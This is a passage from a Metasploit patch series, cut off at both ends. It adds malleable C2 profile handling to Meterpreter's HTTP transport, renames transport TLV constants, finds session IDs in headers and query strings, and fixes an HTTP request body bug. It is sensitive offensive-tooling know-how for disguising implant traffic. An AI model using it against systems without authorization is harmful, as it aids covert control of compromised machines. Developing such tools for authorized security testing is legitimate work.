98c48f36710ca..4a322360428dd 100644 --- a/lib/msf/core/payload/malleable_c2.rb +++ b/lib/msf/core/payload/malleable_c2.rb @@ -11,7 +11,25 @@ # Handle escape sequences in the strings provided by the c2 profile class String def from_c2_string_value - self.gsub(/\\x(..)/) {|b| [b[2, 4].to_i(16)].pack('C')} + # Support substitution of a subset of escape characters: + # \r, \t, \n, \\, \x.. + # Not supporting \u at this point. + # We do in a single regex and parse each as we go, as this avoids the + # potential for double-encoding. + self.gsub(/\\(x(..)|r|n|t|\\)/) {|b| + case b[1] + when 'x' + [b[2, 4].to_i(16)].pack('C') + when 'r' + "\r" + when 't' + "\t" + when 'n' + "\n" + when '\\' + "\\" + end + } end end @@ -232,8 +250,8 @@ def to_tlv } client.get_section('id') {|client_id| - post_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_GET, client_id.get_directive('parameter')[0]) if client_id.has_directive('parameter') - post_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_HEADER, client_id.get_directive('header')[0]) if client_id.has_directive('header') + post_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_GET, client_id.get_directive('parameter')[0].args[0]) if client_id.has_directive('parameter') + post_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_HEADER, client_id.get_directive('header')[0].args[0]) if client_id.has_directive('header') # assume uri-append for POST otherwise given that we always put the TLV payload in the body? # TODO: add support for adding a form rather than just a payload body? } @@ -254,7 +272,7 @@ def add_http_tlv(base_uri, section, group_tlv) def add_header(section, group_tlv) headers = section.get_directive('header').map {|dir| "#{dir.args[0]}: #{dir.args[1]}"}.join("\r\n") - group_tlv.add_tlv(MET::TLV_TYPE_C2_OTHER_HEADERS, headers) unless headers.empty? + group_tlv.add_tlv(MET::TLV_TYPE_C2_HEADERS, headers) unless headers.empty? headers end diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index b623ce7acf361..a06ccefc12be8 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -7,6 +7,7 @@ class Rex::Payloads::Meterpreter::Config + include Msf::Payload::UUID::Options include Msf::ReflectiveDLLLoader MET = Rex::Post::Meterpreter diff --git a/lib/rex/payloads/meterpreter/uri_checksum.rb b/lib/rex/payloads/meterpreter/uri_checksum.rb index 6b55506c7ea79..8d4a2c3b9569a 100644 --- a/lib/rex/payloads/meterpreter/uri_checksum.rb +++ b/lib/rex/payloads/meterpreter/uri_checksum.rb @@ -66,11 +66,18 @@ def process_uri_resource(uri) nil end + # Map "random" get params to static strings. + # + # @param [String] The query string from the HTTP request. + # @return [Hash] The attributes extracted from the URI + def process_query_string_resource(query_string) + end + # Map "random" cookies to static strings. # # @param cookie [String] The Cookie header string from the HTTP request. # @return [Hash] The attributes extracted from the URI - def process_cookie_resource(uri) + def process_cookie_resource(cookie) end # Create a URI that matches the specified checksum and payload uuid diff --git a/lib/rex/post/meterpreter/client.rb b/lib/rex/post/meterpreter/client.rb index a13e73a4f2432..edbf8886f94e7 100644 --- a/lib/rex/post/meterpreter/client.rb +++ b/lib/rex/post/meterpreter/client.rb @@ -151,10 +151,7 @@ def init_meterpreter(sock,opts={}) self.url = opts[:url] self.ssl = opts[:ssl] - unless (opts[:c2_profile] || '').empty? - parser = Msf::Payload::MalleableC2::Parser.new - self.c2_profile = parser.parse(opts[:c2_profile]) - end + self.c2_profile = opts[:c2_profile] self.pivot_session = opts[:pivot_session] if self.pivot_session diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index 4524c3be4d230..1b53b3ce0785c 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -142,22 +142,26 @@ def transport_list response = client.send_request(request) result = { - :session_exp => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP), + :session_exp => response.get_tlv_value(TLV_TYPE_SESSION_EXPIRY), :transports => [] } - response.each(TLV_TYPE_TRANS_GROUP) { |t| + response.each(TLV_TYPE_C2) { |t| + # TODO: Consider adding more informationt to the output for malleable profiles? + # TLV_TYPE_C2_GET, TLV_TYPE_C2_POST, TLV_TYPE_C2_PREFIX, TLV_TYPE_C2_SUFFIX, TLV_TYPE_C2_ENC, + # TLV_TYPE_C2_SKIP_COUNT, TLV_TYPE_C2_UUID_COOKIE, TLV_TYPE_C2_UUID_GET, TLV_TYPE_C2_UUID_HEADER + # Not sure if this stuff is useful for this display though. result[:transports] << { - :url => t.get_tlv_value(TLV_TYPE_TRANS_URL), - :comm_timeout => t.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT), - :retry_total => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL), - :retry_wait => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT), - :ua => t.get_tlv_value(TLV_TYPE_TRANS_UA), - :proxy_host => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_HOST), - :proxy_user => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_USER), - :proxy_pass => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_PASS), - :cert_hash => t.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH), - :custom_headers => t.get_tlv_value(TLV_TYPE_TRANS_HEADERS) + :url => t.get_tlv_value(TLV_TYPE_C2_URL), + :comm_timeout => t.get_tlv_value(TLV_TYPE_C2_COMM_TIMEOUT), + :retry_total => t.get_tlv_value(TLV_TYPE_C2_RETRY_TOTAL), + :retry_wait => t.get_tlv_value(TLV_TYPE_C2_RETRY_WAIT), + :ua => t.get_tlv_value(TLV_TYPE_C2_UA), + :proxy_host => t.get_tlv_value(TLV_TYPE_C2_PROXY_HOST), + :proxy_user => t.get_tlv_value(TLV_TYPE_C2_PROXY_USER), + :proxy_pass => t.get_tlv_value(TLV_TYPE_C2_PROXY_PASS), + :cert_hash => t.get_tlv_value(TLV_TYPE_C2_CERT_HASH), + :custom_headers => t.get_tlv_value(TLV_TYPE_C2_HEADERS) } } @@ -171,25 +175,25 @@ def set_transport_timeouts(opts={}) request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_SET_TIMEOUTS) if opts[:session_exp] - request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp]) + request.add_tlv(TLV_TYPE_SESSION_EXPIRY, opts[:session_exp]) end if opts[:comm_timeout] - request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout]) + request.add_tlv(TLV_TYPE_C2_COMM_TIMEOUT, opts[:comm_timeout]) end if opts[:retry_total] - request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total]) + request.add_tlv(TLV_TYPE_C2_RETRY_TOTAL, opts[:retry_total]) end if opts[:retry_wait] - request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait]) + request.add_tlv(TLV_TYPE_C2_RETRY_WAIT, opts[:retry_wait]) end response = client.send_request(request) { - :session_exp => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP), - :comm_timeout => response.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT), - :retry_total => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL), - :retry_wait => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT) + :session_exp => response.get_tlv_value(TLV_TYPE_SESSION_EXPIRY), + :comm_timeout => response.get_tlv_value(TLV_TYPE_C2_COMM_TIMEOUT), + :retry_total => response.get_tlv_value(TLV_TYPE_C2_RETRY_TOTAL), + :retry_wait => response.get_tlv_value(TLV_TYPE_C2_RETRY_WAIT) } end @@ -523,7 +527,7 @@ def transport_sleep(seconds) # we're reusing the comms timeout setting here instead of # creating a whole new TLV value - request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, seconds) + request.add_tlv(TLV_TYPE_C2_COMM_TIMEOUT, seconds) client.send_request(request) return true end @@ -556,7 +560,7 @@ def enable_ssl_hash_verify request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_SETCERTHASH) hash = Rex::Text.sha1_raw(self.client.sock.sslctx.cert.to_der) - request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash) + request.add_tlv(TLV_TYPE_C2_CERT_HASH, hash) client.send_request(request) @@ -590,7 +594,7 @@ def get_ssl_hash_verify request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_GETCERTHASH) response = client.send_request(request) - return response.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH) + return response.get_tlv_value(TLV_TYPE_C2_CERT_HASH) end # @@ -888,19 +892,19 @@ def transport_prepare_request(method, opts={}) end if opts[:comm_timeout] - request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout]) + request.add_tlv(TLV_TYPE_C2_COMM_TIMEOUT, opts[:comm_timeout]) end if opts[:session_exp] - request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp]) + request.add_tlv(TLV_TYPE_SESSION_EXPIRY, opts[:session_exp]) end if opts[:retry_total] - request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total]) + request.add_tlv(TLV_TYPE_C2_RETRY_TOTAL, opts[:retry_total]) end if opts[:retry_wait] - request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait]) + request.add_tlv(TLV_TYPE_C2_RETRY_WAIT, opts[:retry_wait]) end # do more magic work for http(s) payloads @@ -915,31 +919,30 @@ def transport_prepare_request(method, opts={}) end opts[:ua] ||= Rex::UserAgent.random - request.add_tlv(TLV_TYPE_TRANS_UA, opts[:ua]) + request.add_tlv(TLV_TYPE_C2_UA, opts[:ua]) if transport == 'reverse_https' && opts[:cert] # currently only https transport offers ssl hash = Rex::Socket::X509Certificate.get_cert_file_hash(opts[:cert]) - request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash) + request.add_tlv(TLV_TYPE_C2_CERT_HASH, hash) end if opts[:proxy_host] && opts[:proxy_port] prefix = 'http://' prefix = 'socks=' if opts[:proxy_type].to_s.downcase == 'socks' proxy = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}" - request.add_tlv(TLV_TYPE_TRANS_PROXY_HOST, proxy) + request.add_tlv(TLV_TYPE_C2_PROXY_HOST, proxy) if opts[:proxy_user] - request.add_tlv(TLV_TYPE_TRANS_PROXY_USER, opts[:proxy_user]) + request.add_tlv(TLV_TYPE_C2_PROXY_USER, opts[:proxy_user]) end if opts[:proxy_pass] - request.add_tlv(TLV_TYPE_TRANS_PROXY_PASS, opts[:proxy_pass]) + request.add_tlv(TLV_TYPE_C2_PROXY_PASS, opts[:proxy_pass]) end end end - request.add_tlv(TLV_TYPE_TRANS_TYPE, VALID_TRANSPORTS[transport]) - request.add_tlv(TLV_TYPE_TRANS_URL, url) + request.add_tlv(TLV_TYPE_C2_URL, url) request end diff --git a/lib/rex/post/meterpreter/core_ids.rb b/lib/rex/post/meterpreter/core_ids.rb index a7113ba872838..6a0ee761d2522 100644 --- a/lib/rex/post/meterpreter/core_ids.rb +++ b/lib/rex/post/meterpreter/core_ids.rb @@ -28,7 +28,7 @@ module Meterpreter COMMAND_ID_CORE_MIGRATE = EXTENSION_ID_CORE + 14 COMMAND_ID_CORE_NATIVE_ARCH = EXTENSION_ID_CORE + 15 COMMAND_ID_CORE_NEGOTIATE_TLV_ENCRYPTION = EXTENSION_ID_CORE + 16 -COMMAND_ID_CORE_PATCH_URL = EXTENSION_ID_CORE + 17 +COMMAND_ID_CORE_PATCH_UUID = EXTENSION_ID_CORE + 17 COMMAND_ID_CORE_PIVOT_ADD = EXTENSION_ID_CORE + 18 COMMAND_ID_CORE_PIVOT_REMOVE = EXTENSION_ID_CORE + 19 COMMAND_ID_CORE_PIVOT_SESSION_DIED = EXTENSION_ID_CORE + 20 diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index 25425dcece7a2..e182678073618 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -92,20 +92,6 @@ module Meterpreter TLV_TYPE_LIB_LOADER_NAME = TLV_META_TYPE_STRING | 412 TLV_TYPE_LIB_LOADER_ORDINAL = TLV_META_TYPE_UINT | 413 -TLV_TYPE_TRANS_TYPE = TLV_META_TYPE_UINT | 430 -TLV_TYPE_TRANS_URL = TLV_META_TYPE_STRING | 431 -TLV_TYPE_TRANS_UA = TLV_META_TYPE_STRING | 432 -TLV_TYPE_TRANS_COMM_TIMEOUT = TLV_META_TYPE_UINT | 433 -TLV_TYPE_TRANS_SESSION_EXP = TLV_META_TYPE_UINT | 434 -TLV_TYPE_TRANS_CERT_HASH = TLV_META_TYPE_RAW | 435 -TLV_TYPE_TRANS_PROXY_HOST = TLV_META_TYPE_STRING | 436 -TLV_TYPE_TRANS_PROXY_USER = TLV_META_TYPE_STRING | 437 -TLV_TYPE_TRANS_PROXY_PASS = TLV_META_TYPE_STRING | 438 -TLV_TYPE_TRANS_RETRY_TOTAL = TLV_META_TYPE_UINT | 439 -TLV_TYPE_TRANS_RETRY_WAIT = TLV_META_TYPE_UINT | 440 -TLV_TYPE_TRANS_HEADERS = TLV_META_TYPE_STRING | 441 -TLV_TYPE_TRANS_GROUP = TLV_META_TYPE_GROUP | 442 - TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460 TLV_TYPE_UUID = TLV_META_TYPE_RAW | 461 TLV_TYPE_SESSION_GUID = TLV_META_TYPE_RAW | 462 @@ -123,7 +109,7 @@ module Meterpreter TLV_TYPE_PIVOT_NAMED_PIPE_NAME = TLV_META_TYPE_STRING | 653 # -# Configuration options +# Configuration & C2 options # TLV_TYPE_SESSION_EXPIRY = TLV_META_TYPE_UINT | 700 # Session expiration time TLV_TYPE_EXITFUNC = TLV_META_TYPE_UINT | 701 # identifier of the exit function to use @@ -140,7 +126,7 @@ module Meterpreter TLV_TYPE_C2_PROXY_PASS = TLV_META_TYPE_STRING | 712 # Proxy password TLV_TYPE_C2_GET = TLV_META_TYPE_GROUP | 713 # A grouping of params associated with GET requests TLV_TYPE_C2_POST = TLV_META_TYPE_GROUP | 714 # A grouping of params associated with POST requests -TLV_TYPE_C2_OTHER_HEADERS = TLV_META_TYPE_STRING | 715 # Custom headers +TLV_TYPE_C2_HEADERS = TLV_META_TYPE_STRING | 715 # Custom headers TLV_TYPE_C2_UA = TLV_META_TYPE_STRING | 716 # User agent TLV_TYPE_C2_CERT_HASH = TLV_META_TYPE_RAW | 717 # Expected SSL certificate hash TLV_TYPE_C2_PREFIX = TLV_META_TYPE_RAW | 718 # Data to prepend to the outgoing payload @@ -150,6 +136,7 @@ module Meterpreter TLV_TYPE_C2_UUID_COOKIE = TLV_META_TYPE_STRING | 722 # Name of the cookie to put the UUID in TLV_TYPE_C2_UUID_GET = TLV_META_TYPE_STRING | 723 # Name of the GET parameter to put the UUID in TLV_TYPE_C2_UUID_HEADER = TLV_META_TYPE_STRING | 724 # Name of the header to put the UUID in +TLV_TYPE_C2_UUID = TLV_META_TYPE_STRING | 725 # string representation of the UUID for C2s # # C2 Encoding flags diff --git a/spec/lib/rex/post/meterpreter/packet_spec.rb b/spec/lib/rex/post/meterpreter/packet_spec.rb index f19f9d6bc53ba..a5d246973191f 100644 --- a/spec/lib/rex/post/meterpreter/packet_spec.rb +++ b/spec/lib/rex/post/meterpreter/packet_spec.rb @@ -123,7 +123,7 @@ context "Any non group TLV_TYPE" do subject(:tlv_types){ - excludedTypes = ["TLV_TYPE_ANY", "TLV_TYPE_EXCEPTION", "TLV_TYPE_CHANNEL_DATA_GROUP", "TLV_TYPE_TRANS_GROUP"] + excludedTypes = ["TLV_TYPE_ANY", "TLV_TYPE_EXCEPTION", "TLV_TYPE_CHANNEL_DATA_GROUP", "TLV_TYPE_C2", "TLV_TYPE_EXTENSION", "TLV_TYPE_C2_GET", "TLV_TYPE_C2_POST"] typeList = [] Rex::Post::Meterpreter.constants.each do |type| typeList << type.to_s if type.to_s.include?("TLV_TYPE") && !excludedTypes.include?(type.to_s) From c571e7dc1b358761d2e38910c0ba222ff1a61429 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Thu, 24 Jul 2025 10:59:45 +1000 Subject: [PATCH 10/21] Remove query string from POST request body The `Http::Request` class had an overload for the `body` accessor that returned the query string parameters in the case that the body was empty. This is not only logically bizzarre, but functionally insane. The query string is not part of the body. If you want the query string, go get it. An interesting side effect of this craziness, along with the way the body is constructed, is that if you send a POST request to the server with a body AND a query string, MSF is kind enough to give you both together. Crazy right? Well, this is because the class uses the `body` accessor as an internal buffer, but that getter is overloaded. So if the `body` is blank, and the `+=` operator is used (which, it is!) then you end up with the query string being prepended to any actual body content. Insane. Also, from an API point of view, it looks just as crazy. Observe: ``` >> r = Rex::Proto::Http::Request::Post.new('/foo?lol=wtf') => ... >> r.body = '' => "" >> r.body => "lol=wtf" ``` No. This is a complete violation of logic. This commit removes this "feature" and not only fixes the bugs that I was fighting against, but restores some semblance of reason. --- lib/rex/proto/http/request.rb | 12 ------------ 1 file changed, 12 deletions(-) diff --git a/lib/rex/proto/http/request.rb b/lib/rex/proto/http/request.rb index 5deace0de51ca..b394600c218bd 100644 --- a/lib/rex/proto/http/request.rb +++ b/lib/rex/proto/http/request.rb @@ -217,18 +217,6 @@ def to_s str + super end - def body - str = super || '' - if str.length > 0 - return str - end - - if PostRequests.include?(self.method) - return param_string - end - '' - end - # # Returns the command string derived from the three values. # From 5def53e34c79d0f8e262d618ab7ea9ce0a88adbf Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Thu, 24 Jul 2025 11:22:25 +1000 Subject: [PATCH 11/21] Change support for connection IDs in the HTTP server NOTE: This change does remove the trailing "/" from URIs registered.. which implies that things might not match. So more to do here. Connection IDs are stored in the request now, so that they can be referenced by clients if and when required. IDs are pulled from various locations in the request. --- lib/msf/core/handler/reverse_http.rb | 48 +++++++++++-------- lib/rex/post/meterpreter/packet_dispatcher.rb | 4 +- lib/rex/proto/http/request.rb | 5 ++ lib/rex/proto/http/server.rb | 18 +++++-- 4 files changed, 50 insertions(+), 25 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 5bb2f5b0f9885..8909ffcfaf17d 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -266,7 +266,8 @@ def setup_handler # Add the new resource all_uris.each {|u| - r = (u + "/").gsub("//", "/") + #r = (u + "/").gsub("//", "/") + r = u.gsub("//", "/") service.add_resource(r, 'Proc' => Proc.new { |cli, req| on_request(cli, req) @@ -289,7 +290,8 @@ def setup_handler def stop_handler if self.service all_uris.each {|u| - r = (u + "/").gsub("//", "/") + #r = (u + "/").gsub("//", "/") + r = u.gsub("//", "/") self.service.remove_resource(r) } self.service.deref @@ -347,32 +349,39 @@ def on_request(cli, req) Thread.current[:cli] = cli resp = Rex::Proto::Http::Response.new - # TODO OJ - look for C2 profile, if associated, get settings to see if - # UUID is stashed in other locations like cookies/headers. This might - # have to happen during the resource lookup instead of here, and - # when on_request is called we pass the UUID in, if found + unless req.conn_id + cids = [req.resource.split('?')[0].split('/').compact.last] + cids.concat(req.uri_parts["QueryString"].values) + cids.concat(req.headers.values) - #STDERR.puts("#{req.inspect}\n") - #req.uri_parts["QueryString"] - info = process_uri_resource(req.relative_resource) #|| process_query_string_resource(req.query_string) - uuid = info[:uuid] + cids.each {|cid| + info = process_uri_resource(cid) + if info + req.conn_id = cid + break + end + } + end + + if req.conn_id + info = process_uri_resource(req.conn_id) + uuid = info[:uuid] + conn_id = req.conn_id + end if uuid # Configure the UUID architecture and payload if necessary uuid.arch ||= self.arch uuid.platform ||= self.platform - conn_id = luri - - request_summary = "#{conn_id} with UA '#{req.headers['User-Agent']}'" + request_summary = "#{luri} with UA '#{req.headers['User-Agent']}'" if info[:mode] && info[:mode] != :connect - conn_id << generate_uri_uuid(URI_CHECKSUM_CONN, uuid) - else - conn_id << req.relative_resource - conn_id = conn_id.chomp('/') + conn_id = generate_uri_uuid(URI_CHECKSUM_CONN, uuid) end + conn_id.chomp!('/') + # Validate known UUIDs for all requests if IgnoreUnknownPayloads is set if framework.db.active db_uuid = framework.db.payloads({ uuid: uuid.puid_hex }).first @@ -409,7 +418,7 @@ def on_request(cli, req) # Process the requested resource. case info[:mode] when :init_connect - print_status("Redirecting stageless connection from #{request_summary}") + print_status("Redirecting stageless connection from #{request_summary} to #{conn_id}") # Handle the case where stageless payloads call in on the same URI when they # first connect. From there, we tell them to callback on a connect URI that @@ -417,7 +426,7 @@ def on_request(cli, req) # Hurl a TLV back at the caller, and ignore the response pkt = Rex::Post::Meterpreter::Packet.new(Rex::Post::Meterpreter::PACKET_TYPE_RESPONSE, Rex::Post::Meterpreter::COMMAND_ID_CORE_PATCH_UUID) - pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_C2_UUID, conn_id) + pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_C2_UUID, conn_id.gsub(/\//, '')) resp.body = pkt.to_r resp.body = self.c2_profile.wrap_outbound_get(resp.body) if self.c2_profile @@ -428,6 +437,7 @@ def on_request(cli, req) print_status("Attaching orphaned/stageless session...") else begin + # TODO: do we need to handle C2 profiles here? blob = self.generate_stage(url: url, uuid: uuid, uri: conn_id) blob = encode_stage(blob) if self.respond_to?(:encode_stage) # remove this when we make http payloads prepend stage sizes by default diff --git a/lib/rex/post/meterpreter/packet_dispatcher.rb b/lib/rex/post/meterpreter/packet_dispatcher.rb index 296e042d09bd3..253236f4078b4 100644 --- a/lib/rex/post/meterpreter/packet_dispatcher.rb +++ b/lib/rex/post/meterpreter/packet_dispatcher.rb @@ -760,8 +760,8 @@ def on_passive_request(cli, req) end else resp.body = "" - if req.body and req.body.length > 0 - body = req.body + body = req.body + if body && body.length > 0 body = self.unwrap_packet(body) if self.respond_to?(:unwrap_packet) packet = Packet.new(0) packet.add_raw(body) diff --git a/lib/rex/proto/http/request.rb b/lib/rex/proto/http/request.rb index b394600c218bd..e586e6ff1568c 100644 --- a/lib/rex/proto/http/request.rb +++ b/lib/rex/proto/http/request.rb @@ -259,6 +259,11 @@ def qstring def meta_vars end + # + # An identifier associated with the incoming request, can be used to match requests with sessions. + # + attr_accessor :conn_id + # # The method being used for the request (e.g. GET). # diff --git a/lib/rex/proto/http/server.rb b/lib/rex/proto/http/server.rb index e3ec72b006a41..8712c14cd9c08 100644 --- a/lib/rex/proto/http/server.rb +++ b/lib/rex/proto/http/server.rb @@ -269,6 +269,17 @@ def on_client_data(cli) end end + def find_resource_uuid(request) + cids = [request.resource.split('?')[0].split('/').compact.last] + cids.concat(request.uri_parts["QueryString"].values) + cids.concat(request.headers.values) + + cids.each {|cid| + return cid if resources[cid] + } + nil + end + # # Dispatches the supplied request for a given connection. # @@ -279,17 +290,16 @@ def dispatch_request(cli, request) cli.keepalive = true end - #STDERR.puts("Resources: #{resources.inspect}\n") - # Direct lookup on the last part of the URI, if any, will work # to find a handler based on the connection ID because we don't # ever have IDs that have slashes, so it's not possible to overlap # with handlers of the same name. - cid = request.resource.split('?')[0].split('/').compact.last - if resources[cid] + cid = find_resource_uuid(request) + if cid p = resources[cid] len = cid.length root = request.resource + request.conn_id = cid else # Search for the resource handler for the requested URL. This is pretty # inefficient right now, but we can spruce it up later. From 76954a63e932db2bbee5a9105c6f4537b4d5f393 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Thu, 24 Jul 2025 13:58:06 +1000 Subject: [PATCH 12/21] Push CID finding into reverse_http Logic for finding connection UUIDs has been pushed into reverse_http so that it's not part of the Http::Server any more. It's a little bit of a leaky abstraction, but at least the logic is in the one place now. Support added and tweaked for including the UUID in an HTTP header or in a GET param. Currently don't have support for it in the BODY as as param, not sure if that's a requirement yet or not. Same goes for cookies. --- lib/msf/core/handler/reverse_http.rb | 34 +++++++++++++++---------- lib/msf/core/payload/malleable_c2.rb | 4 +-- lib/rex/proto/http/server.rb | 38 +++++++++++----------------- 3 files changed, 38 insertions(+), 38 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 8909ffcfaf17d..b8b49bb85ec1e 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -283,6 +283,26 @@ def setup_handler end end + def find_resource_id(cli, request) + if request.method == 'POST' + directive = self.c2_profile&.http_post&.client&.id&.parameter + cid = request.qstring[directive[0].args[0]] if directive && directive.length > 0 + unless cid + directive = self.c2_profile&.http_post&.client&.id&.header + cid = request.headers[directive[0].args[0]] if directive && directive.length > 0 + end + else + directive = self.c2_profile&.http_get&.client&.metadata&.parameter + cid = request.qstring[directive[0].args[0]] if directive && directive.length > 0 + unless cid + directive = self.c2_profile&.http_get&.client&.metadata&.header + cid = request.headers[directive[0].args[0]] if directive && directive.length > 0 + end + end + + request.conn_id = cid || request.resource.split('?')[0].split('/').compact.last + end + # # Removes the / handler, possibly stopping the service if no sessions are # active on sub-urls. @@ -349,19 +369,7 @@ def on_request(cli, req) Thread.current[:cli] = cli resp = Rex::Proto::Http::Response.new - unless req.conn_id - cids = [req.resource.split('?')[0].split('/').compact.last] - cids.concat(req.uri_parts["QueryString"].values) - cids.concat(req.headers.values) - - cids.each {|cid| - info = process_uri_resource(cid) - if info - req.conn_id = cid - break - end - } - end + req.conn_id = find_resource_id(cli, req) unless req.conn_id if req.conn_id info = process_uri_resource(req.conn_id) diff --git a/lib/msf/core/payload/malleable_c2.rb b/lib/msf/core/payload/malleable_c2.rb index 4a322360428dd..d3fba60fd45a5 100644 --- a/lib/msf/core/payload/malleable_c2.rb +++ b/lib/msf/core/payload/malleable_c2.rb @@ -217,8 +217,8 @@ def to_tlv enc_flags |= MET::C2_ENCODING_FLAG_B64URL if meta.has_directive('base64url') get_tlv.add_tlv(MET::TLV_TYPE_C2_ENC, enc_flags) if enc_flags != 0 - get_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_GET, meta.get_directive('parameter')[0]) if meta.has_directive('parameter') - get_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_HEADER, meta.get_directive('header')[0]) if meta.has_directive('header') + get_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_GET, meta.get_directive('parameter')[0].args[0]) if meta.has_directive('parameter') + get_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_HEADER, meta.get_directive('header')[0].args[0]) if meta.has_directive('header') # assume uri-append for POST otherwise. } } diff --git a/lib/rex/proto/http/server.rb b/lib/rex/proto/http/server.rb index 8712c14cd9c08..27a56aef540dd 100644 --- a/lib/rex/proto/http/server.rb +++ b/lib/rex/proto/http/server.rb @@ -165,7 +165,7 @@ def add_resource(name, opts) end # If a procedure was passed, mount the resource with it. - if (opts['Proc']) + if opts['Proc'] mount(name, Handler::Proc, false, opts['Proc'], opts['VirtualDirectory']) else raise ArgumentError, "You must specify a procedure." @@ -269,37 +269,29 @@ def on_client_data(cli) end end - def find_resource_uuid(request) - cids = [request.resource.split('?')[0].split('/').compact.last] - cids.concat(request.uri_parts["QueryString"].values) - cids.concat(request.headers.values) - - cids.each {|cid| - return cid if resources[cid] - } - nil - end - # # Dispatches the supplied request for a given connection. # def dispatch_request(cli, request) # Is the client requesting keep-alive? - if ((request['Connection']) and - (request['Connection'].downcase == 'Keep-Alive'.downcase)) + if request['Connection'] && request['Connection'].downcase == 'keep-alive' cli.keepalive = true end - # Direct lookup on the last part of the URI, if any, will work - # to find a handler based on the connection ID because we don't - # ever have IDs that have slashes, so it's not possible to overlap - # with handlers of the same name. - cid = find_resource_uuid(request) - if cid - p = resources[cid] - len = cid.length + # first, try to match up the request with a handler based on a matching + # function that's present in the context, if specified. + expl = self.context['MsfExploit'] + resource_id = expl.find_resource_id(cli, request) if expl && expl.respond_to?(:find_resource_id) + request.conn_id = resource_id + + if resource_id && resources[resource_id] + p = resources[resource_id] + len = resource_id.length + root = request.resource + elsif resources[request.resource] + p = resources[request.resource] + len = resource_id.length root = request.resource - request.conn_id = cid else # Search for the resource handler for the requested URL. This is pretty # inefficient right now, but we can spruce it up later. From fa5881eb184dad678659a8d62e509f6e39066e98 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Mon, 28 Jul 2025 10:58:26 +1000 Subject: [PATCH 13/21] Fix C2 config timeout generation --- lib/rex/payloads/meterpreter/config.rb | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index a06ccefc12be8..a82e3cd07279f 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -82,14 +82,15 @@ def add_c2_tlv(tlv, opts) profile = parser.parse(opts[:c2_profile]) c2_tlv = profile.to_tlv else - c2_tlv= MET::GroupTlv.new(MET::TLV_TYPE_C2) + c2_tlv = MET::GroupTlv.new(MET::TLV_TYPE_C2) - c2_tlv.add_tlv(MET::TLV_TYPE_C2_COMM_TIMEOUT, opts[:comm_timeout]) - c2_tlv.add_tlv(MET::TLV_TYPE_C2_RETRY_TOTAL, opts[:retry_total]) - c2_tlv.add_tlv(MET::TLV_TYPE_C2_RETRY_WAIT, opts[:retry_wait]) c2_tlv.add_tlv(MET::TLV_TYPE_C2_UA, opts[:ua]) unless (opts[:ua] || '').empty? end + c2_tlv.add_tlv(MET::TLV_TYPE_C2_COMM_TIMEOUT, opts[:comm_timeout]) + c2_tlv.add_tlv(MET::TLV_TYPE_C2_RETRY_TOTAL, opts[:retry_total]) + c2_tlv.add_tlv(MET::TLV_TYPE_C2_RETRY_WAIT, 